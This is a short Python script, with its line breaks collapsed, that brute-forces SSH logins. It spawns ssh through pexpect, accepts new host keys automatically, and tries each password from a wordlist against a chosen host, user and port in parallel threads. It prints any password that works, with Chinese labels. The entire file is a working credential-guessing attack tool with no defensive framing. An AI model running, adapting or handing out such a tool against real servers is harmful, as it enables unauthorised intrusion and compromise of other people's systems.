import pexpect import os,sys import threading from optparse import OptionParser
def SSHConnect(Host,User,Password,Port): PROMPT = ["# ",">>> ","> ","\$ "] ssh_newkey = 'Are you sure you want to continue connecting' connStr = 'ssh ' + User + '@' + Host + ' -p ' + Port try: child = pexpect.spawn(connStr , timeout=1) ret = child.expect([pexpect.TIMEOUT,ssh_newkey,'[P|p]assword: ']) if ret == 0: return 0 if ret == 1: child.sendline('yes') ret = child.expect([pexpect.TIMEOUT,ssh_newkey,'[P|p]assword: ']) if ret == 0: return 0 child.sendline(Password) child.expect(PROMPT) return 1 except Exception: pass return 0
def ThreadBlast(Host,User,Password,Port,semaphore): semaphore.acquire() RetCode = SSHConnect(Host,User,Password,Port) if RetCode == 1: print("[+] --> 主机: {} 状态码: {} -------> 密码: {}".format(Host,RetCode,Password)) else: print("[-] --> 主机: {} 状态码: {}".format(Host,RetCode)) semaphore.release()
if __name__ == "__main__": parser = OptionParser() parser.add_option("-H","--host",dest="host",help="set host 192.168.1.1") parser.add_option("-u","--user",dest="user",help="set user root") parser.add_option("-p","--port",dest="port",help="set port 22") parser.add_option("-f","--file",dest="file",help="set file wordlist.log") (options,args) = parser.parse_args() if options.host and options.user and options.port and options.file: semaphore = threading.Semaphore(5) fp = open(options.file,"r") PassList = fp.readlines() for item in PassList: t = threading.Thread(target=ThreadBlast,args=(options.host,options.user,item,options.port,semaphore)) t.start() else: parser.print_help()
|